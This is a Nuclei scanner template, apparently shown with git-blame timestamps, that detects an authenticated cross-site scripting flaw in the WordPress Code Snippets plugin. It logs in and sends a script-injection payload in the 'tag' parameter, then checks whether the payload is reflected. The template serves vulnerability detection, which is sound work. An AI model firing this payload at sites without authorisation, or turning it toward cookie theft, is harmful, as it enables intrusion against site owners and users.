2022-01-30 20:26:39 +00:00
id : wp-code-snippets-xss
info :
2022-09-23 17:53:08 +00:00
name : WordPress Code Snippets - Cross-Site Scripting
2022-01-30 20:26:39 +00:00
author : dhiyaneshDK
severity : medium
2022-09-23 17:53:08 +00:00
description : WordPress Code Snippets plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2022-04-22 10:38:41 +00:00
reference :
- https://www.securify.nl/en/advisory/cross-site-scripting-in-code-snippets-wordpress-plugin/
2022-09-23 17:53:08 +00:00
classification :
2023-03-03 15:27:54 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score : 5.4
cwe-id : CWE-80
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-10-14 11:27:55 +00:00
tags : wordpress,xss,wp-plugin,authenticated
2022-01-30 20:26:39 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-01-30 20:26:39 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Origin : {{RootURL}}
Content-Type : application/x-www-form-urlencoded
Cookie : wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=snippets&tag=</script><script>alert(document.domain)</script> HTTP/1.1
Host : {{Hostname}}
2023-10-14 11:27:55 +00:00
2022-01-30 20:26:39 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
- '</script><script>alert(document.domain)</script>'
2022-04-29 15:01:22 +00:00
- 'toplevel_page_snippets'
- 'Search results in tag'
condition : and
2022-01-30 20:26:39 +00:00
- type : word
part : header
words :
- "text/html"
- type : status
status :
- 200
2023-11-27 08:01:38 +00:00
# digest: 4a0a0047304502200ef5a3a4d5254686f4da3d33cc84ba5f2467e9c0a45cfd73f0ed813175f357a9022100cbd490059e41391a68fa729d13fa5bd4bcbf9a20a48082f6207d8b282ecaf5af:922c64590222798bb761d5b6d8e72950